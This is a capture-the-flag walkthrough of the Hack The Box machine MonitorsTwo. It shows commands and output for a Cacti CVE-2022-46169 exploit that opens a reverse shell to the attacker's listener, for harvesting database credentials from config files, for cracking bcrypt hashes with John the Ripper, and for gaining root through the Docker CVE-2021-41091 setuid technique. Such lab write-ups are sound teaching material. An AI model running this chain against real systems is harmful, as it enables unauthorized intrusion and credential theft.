HTB MonitorsTwo: Formal Writeup

Toothless5143
InfoSec Write-ups
Published in
7 min readAug 30, 2023

--

Synopsis:

MonitorsTwo is an easy-to-hack Linux machine that is vulnerable to the CVE-2022–46169 vulnerability. This vulnerability allows an attacker to execute arbitrary code on a server running Cacti. After exploiting this vulnerability, it was found that the Cacti web app was running in a Docker container.

A script named entrypoint.sh located at the root directory and the config.php file of the web app contained a pair of credentials for the MySQL database. By connecting to the MySQL server and enumerating its databases, password hashes for three users were found. The password hash for the marcus user was successfully cracked using the tool johntheripper.

The host was running an outdated version of Docker that was vulnerable to the CVE-2021–41091 vulnerability. A proof-of-concept (PoC) exploit script was found for this vulnerability. This script searches for mounted Overlay2 filesystems and attempts to gain unauthorized root access within Docker containers. When the script was executed, the host was fully compromised.

Active Recon:

The attacker first decided to launched a basic port scanning to find open ports on the host.

┌──(toothless5143@kali)-[~]
└─$ nmap -Pn -sV --min-rate=5000 10.10.11.211

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 07:30 CDT
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 07:31 (0:00:06 remaining)
Nmap scan report for 10.10.11.211
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.95 seconds

From the port scanning it was revealed that there were 2 open ports. One was SSH and the other one was HTTP. On the HTTP port nginx 1.18.0 web server was running. Upon visiting the running web server it was found that it was a website from the cacti group, the web app also revealed it’s version.

Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users.

version 1.2.22

Vulnerability Analysis & Exploitation:

After a bit of research it was discovered that the version 1.2.22 is vulnerable to CVE-2022–46169.

CVE-2022–46169 allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the remote_agent.php file. This file can be accessed without any sort of authentication. So the attacker decided to exploit the host by abusing the found vulnerability. The attacker started a nc listener to receive a reverse connection:

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 8000

listening on [any] 8000 ...

Then the attacker executed the script:

┌──(toothless5143@kali)-[~]
└─$ python3 CVE-2022-46169.py --url http://10.10.11.211 --LHOST=10.10.14.125 --LPORT=8000

The exploit helped the attacker to gain an initial foothold as the www-data user in a docker container.

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.14.125] from (UNKNOWN) [10.10.11.211] 43244
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/$ whoami
www-data

The attacker gained an interactive shell, the process of gaining an interactive shell is shown below.

www-data@50bca5e748b0:/$ export TERM=xterm

# Background the session with CTRL+Z

┌──(toothless5143@kali)-[~]
└─$ stty raw -echo; fg;
[1] + continued rlwrap nc -lvnp 8000
www-data@50bca5e748b0:/$

Post Exploitation:

During the process of manual exploration the attacker found 2 interesting files at the root of the file system.

www-data@50bca5e748b0:/$ ls -la /

total 84
drwxr-xr-x 1 root root 4096 Mar 21 10:49 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..
-rwxr-xr-x 1 root root 0 Mar 21 10:49 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 22 13:21 bin
drwxr-xr-x 2 root root 4096 Mar 22 13:21 boot
drwxr-xr-x 5 root root 340 Aug 30 13:54 dev
-rw-r--r-- 1 root root 648 Jan 5 2023 entrypoint.sh
drwxr-xr-x 1 root root 4096 Mar 21 10:49 etc
drwxr-xr-x 2 root root 4096 Mar 22 13:21 home
drwxr-xr-x 1 root root 4096 Nov 15 2022 lib
drwxr-xr-x 2 root root 4096 Mar 22 13:21 lib64
drwxr-xr-x 2 root root 4096 Mar 22 13:21 media
drwxr-xr-x 2 root root 4096 Mar 22 13:21 mnt
drwxr-xr-x 2 root root 4096 Mar 22 13:21 opt
dr-xr-xr-x 271 root root 0 Aug 30 13:54 proc
drwx------ 1 root root 4096 Mar 21 10:50 root
drwxr-xr-x 1 root root 4096 Nov 15 2022 run
drwxr-xr-x 1 root root 4096 Jan 9 2023 sbin
drwxr-xr-x 2 root root 4096 Mar 22 13:21 srv
dr-xr-xr-x 13 root root 0 Aug 30 13:54 sys
drwxrwxrwt 1 root root 4096 Aug 30 13:55 tmp
drwxr-xr-x 1 root root 4096 Nov 14 2022 usr
drwxr-xr-x 1 root root 4096 Nov 15 2022 var

The .dockerenv file is a marker file used within Docker containers to indicate that the process is running inside a Docker container. On the other hand the entrypoint.sh script had a pair of credential for the mysql container.

www-data@50bca5e748b0:/$ cat entrypoint.sh

#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=<REDACTED> cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=<REDACTED> cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=<REDACTED> cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=<REDACTED> cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi

exec "$@"

While reading the manual of cacti, the attacker found out that the config file is located at include/config.php. From the config file the same pair of credential was discovered, the attacker also discovered a hostname named db.

<SNIP>
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = '<REDACTED>';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
</SNIP>

Lateral Movement:

Which was later used to log into the mysql docker. After roaming around a bit some hashes were found inside the cacti database and user_auth table.

# Connecting to the mysql server
www-data@50bca5e748b0:/$ mysql --host=db --user=root --password=<REDACTED>

# Finding hashes
MySQL [cacti]> select * from user_auth;
+----+----------+--------------------------------------------------------------+...
| id | username | password|...
+----+----------+--------------------------------------------------------------+...
| 1 | admin | <REDACTED> |...
| 3 | guest | <REDACTED> |...
| 4 | marcus | <REDACTED> |...
+----+----------+--------------------------------------------------------------+...
3 rows in set (0.001 sec

The found hash for the user marcus was cracked using the tool johntheripper. Here’s the process shown below:

┌──(toothless5143@kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (?)
1g 0:00:02:22 DONE (2023-08-30 10:09) 0.007003g/s 59.75p/s 59.75c/s 59.75C/s lilpimp..coucou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Then the attacker logged in on behalf of the user marcus using SSH and the cracked password from the hash.

┌──(toothless5143@kali)-[~]
└─$ ssh marcus@10.10.11.211

marcus@10.10.11.211's password: <REDACTED>
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
marcus@monitorstwo:~$ whoami
marcus

And the first flag was found from /home/user.txt.

Privilege Escalation:

Upon landing as the user marcus the attacker started info gathering. From the info gathering stage it was discovered that the installed docker version is outdated and vulnerable to CVE-2021–41091.

marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88

CVE-2021–41091 is a flaw in Moby (Docker Engine) that allows unprivileged Linux users to traverse and execute programs within the data directory (usually located at /var/lib/docker) due to improperly restricted permissions. This vulnerability is present when containers contain executable programs with extended permissions, such as setuid. Unprivileged Linux users can then discover and execute those programs, as well as modify files if the UID of the user on the host matches the file owner or group inside the container.

Then the attacker uploaded & executed the script. By following the instructions from the script the host was fully compromised. The script searches for mounted Overlay2 filesystems and attempts to gain unauthorized root access within Docker containers.

marcus@monitorstwo:~$ ./exp.sh

[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'

[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'

[!] Spawning Shell
bash-5.1# exit

Changing the directory and executing the given command:

marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ./bash -p
bash-5.1# whoami
root

The root flag was obtained from /root/root.txt and the machine got pwned.

Signing out,
- Toothless

--

--